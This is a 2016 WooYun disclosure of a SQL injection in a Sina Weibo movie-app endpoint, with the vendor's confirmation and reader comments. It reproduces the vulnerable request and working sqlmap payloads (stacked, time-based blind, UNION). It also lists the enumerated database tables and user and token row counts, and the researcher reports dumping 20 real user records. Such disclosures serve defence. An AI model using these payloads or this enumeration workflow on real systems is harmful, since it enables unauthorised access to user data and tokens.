当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0188164

漏洞标题：新浪微博某站点SQL注入(波及38万用户数据及13万用户token)

相关厂商：新浪

漏洞作者： Blcat

提交时间：2016-03-23 16:40

修复时间：2016-05-07 17:39

公开时间：2016-05-07 17:39

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-23： 细节已通知厂商并且等待厂商处理中
2016-03-23： 厂商已经确认，细节仅向厂商公开
2016-04-02： 细节向核心白帽子及相关领域专家公开
2016-04-12： 细节向普通白帽子公开
2016-04-22： 细节向实习白帽子公开
2016-05-07： 细节向公众公开

简要描述：

我发4我是午休起来刷微博看piapia酱的，不信你看
44444444444444444444444444444444444444444444

详细说明：

注入点：

POST /movieapp/mesdk/myticketlist HTTP/1.1
Host: movie.weibo.com
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
type=0&uid=inject here


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: type=0&uid=2806387901;(SELECT * FROM (SELECT(SLEEP(5)))FOPZ)#
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: type=0&uid=2806387901 AND (SELECT * FROM (SELECT(SLEEP(5)))CrcV)
    Type: UNION query
    Title: Generic UNION query (NULL) - 19 columns
    Payload: type=0&uid=2806387901 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x41735366556276724f486866714c644f4f44626b5375476c73795464667a4f4152567a4b4a546474,0x7170707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
database management system users [1]:                                                                                  
[*] 'musiclib_r'@'10.73.%'
available databases [3]:                                                                                               
[*] information_schema
[*] musiclib
[*] test


本来我就想这么交的，然后不小心手贱了下
202张表

Database: musiclib                                                                                                     
[202 tables]
+---------------------------------------+
| artist_match_name                     |
| cinema_area                           |
| cinema_baseinfo                       |
| cinema_screenings                     |
| cinema_tag                            |
| cinema_tag_mapcheck                   |
| firehose_info                         |
| mingxing_activity                     |
| mingxing_userflower                   |
| movie_admin_page                      |
| movie_answers                         |
| movie_app_push_task                   |
| movie_app_realtime_push               |
| movie_app_user                        |
| movie_app_user_token                  |
| movie_article                         |
| movie_artist                          |
| movie_box_office                      |
| movie_box_office_poll                 |
| movie_convert_callback                |
| movie_coupon                          |
| movie_coupon_backup                   |
| movie_customize                       |
| movie_dialogue                        |
| movie_dialogue_pic                    |
| movie_dictionary                      |
| movie_emotion                         |
| movie_event_schedule                  |
| movie_film                            |
| movie_film_old                        |
| movie_film_promote                    |
| movie_filmtopic                       |
| movie_focus                           |
| movie_foreign_comment                 |
| movie_friendfeed                      |
| movie_game_rank                       |
| movie_game_seek_reply                 |
| movie_game_tools                      |
| movie_gewala_buy                      |
| movie_group_comment_report            |
| movie_group_user                      |
| movie_hashdata                        |
| movie_hottopic                        |
| movie_nativebanner                    |
| movie_newsinfo                        |
| movie_object_relation                 |
| movie_pagepoll                        |
| movie_photo                           |
| movie_place_sale                      |
| movie_poll_daily_detail               |
| movie_poll_detail                     |
| movie_poll_detail_hot                 |
| movie_poll_manul                      |
| movie_proterty                        |
| movie_question_type                   |
| movie_questions                       |
| movie_relation                        |
| movie_relation_page                   |
| movie_ticket                          |
| movie_user_still                      |
| movie_video                           |
| movieapp_photo                        |
| open_api_info                         |
| open_api_tree                         |
| open_group                            |
| open_group_api_map                    |
| open_user                             |
| raw_album                             |
| raw_cinema_mapcheck                   |
| raw_map_check                         |
| raw_movie                             |
| raw_movie_artist_map                  |
| raw_movie_douban_pic                  |
| raw_movie_map                         |
| raw_mv                                |
| raw_mv_recommend                      |
| raw_podcast                           |
| raw_podcast_column                    |
| raw_podcast_map                       |
| raw_podcast_program                   |
| raw_singer                            |
| raw_song                              |
| raw_song_0                            |
| raw_song_1                            |
| raw_song_10                           |
| raw_song_11                           |
| raw_song_12                           |
| raw_song_13                           |
| raw_song_14                           |
| raw_song_15                           |
| raw_song_16                           |
| raw_song_17                           |
| raw_song_18                           |
| raw_song_19                           |
| raw_song_2                            |
| raw_song_20                           |
| raw_song_21                           |
| raw_song_22                           |
| raw_song_23                           |
| raw_song_3                            |
| raw_song_4                            |
| raw_song_5                            |
| raw_song_6                            |
| raw_song_7                            |
| raw_song_8                            |
| raw_song_9                            |
| raw_song_match                        |
| raw_source                            |
| res_ad                                |
| res_album                             |
| res_album_song_map                    |
| res_artist                            |
| res_artist_album_map                  |
| res_artist_song_map                   |
| res_asiapoll_blacklist                |
| res_band                              |
| res_card_info                         |
| res_celebrity_songlist                |
| res_chinasong_manul                   |
| res_comm_item                         |
| res_common_banner                     |
| res_copyright                         |
| res_copyright_album_map               |
| res_copyright_artist_map              |
| res_copyright_song_map                |
| res_country                           |
| res_coupon_a                          |
| res_famous_songlist                   |
| res_feedback                          |
| res_film_bonus                        |
| res_film_coupon                       |
| res_focus                             |
| res_friendfeed                        |
| res_hashdata                          |
| res_hotweibo                          |
| res_hotweibo_new                      |
| res_interface_test                    |
| res_keyword_queue                     |
| res_language                          |
| res_language_album_map                |
| res_language_artist_map               |
| res_language_song_map                 |
| res_log                               |
| res_lyric                             |
| res_merge_log                         |
| res_music_style                       |
| res_musician_group                    |
| res_musician_page                     |
| res_musicstyle_album_map              |
| res_musicstyle_artist_map             |
| res_musicstyle_song_map               |
| res_musictopic                        |
| res_nativebanner                      |
| res_object_creator_mblog              |
| res_page_layout                       |
| res_page_render_map                   |
| res_page_rule_set                     |
| res_pagepoll                          |
| res_party_song                        |
| res_party_user_action                 |
| res_party_user_video                  |
| res_relation_store                    |
| res_reservation                       |
| res_right_card_map                    |
| res_right_card_model                  |
| res_s3_log                            |
| res_search_watch                      |
| res_share_text_map                    |
| res_song                              |
| res_song_audio                        |
| res_song_countinfo                    |
| res_song_ext                          |
| res_song_outter_00                    |
| res_song_outter_01                    |
| res_song_outter_02                    |
| res_song_outter_03                    |
| res_song_outter_04                    |
| res_song_outter_05                    |
| res_song_outter_06                    |
| res_song_outter_07                    |
| res_song_outter_08                    |
| res_song_outter_09                    |
| res_song_outter_0a                    |
| res_song_outter_0b                    |
| res_song_outter_0c                    |
| res_song_outter_0d                    |
| res_song_outter_0e                    |
| res_song_outter_0f                    |
| res_song_ringtone                     |
| res_songautopush_event                |
| res_square_point_uid                  |
| res_timing_job                        |
| res_topic_monitor                     |
| res_uidlist                           |
| res_update_film                       |
| res_update_song                       |
| res_user                              |
| res_user_rate                         |
| res_usergroup                         |
| song_match_name                       |
| song_mv_map                           |
| xunlongjue_message                    |
+---------------------------------------+


其中movie_app_user和movie_app_user_token分别38万数据和13万

Database: musiclib
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| movie_app_user | 385824  |
+----------------+---------+
Database: musiclib
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| movie_app_user_token | 139005  |
+----------------------+---------+


吓死苯宝宝了

漏洞证明：

我脱了20条数据证明下

QQ截图20160314125716.png


全程只脱了20条数据证明危害，并没有脱裤

修复方案：

多多指教
(想送我礼物我是不会介意的)

版权声明：转载请注明来源 Blcat@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-23 17:39

厂商回复：

感谢关注新浪安全，问题修复中。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-23 20:07 | hear7v ( 普通白帽子 | Rank:126 漏洞数:19 | 求组织收留啊)

    他们响应你这个倒是很快啊

  2. 2016-03-23 20:10 | Blcat ( 普通白帽子 | Rank:193 漏洞数:29 | 家穷人丑 一米四九 小学文化 农村户口)

    10rank好想哭

  3. 2016-03-23 20:20 | AAA ( 路人 | Rank:0 漏洞数:2 | 战五渣~)

    @Blcat 别哭，再发两发就好了。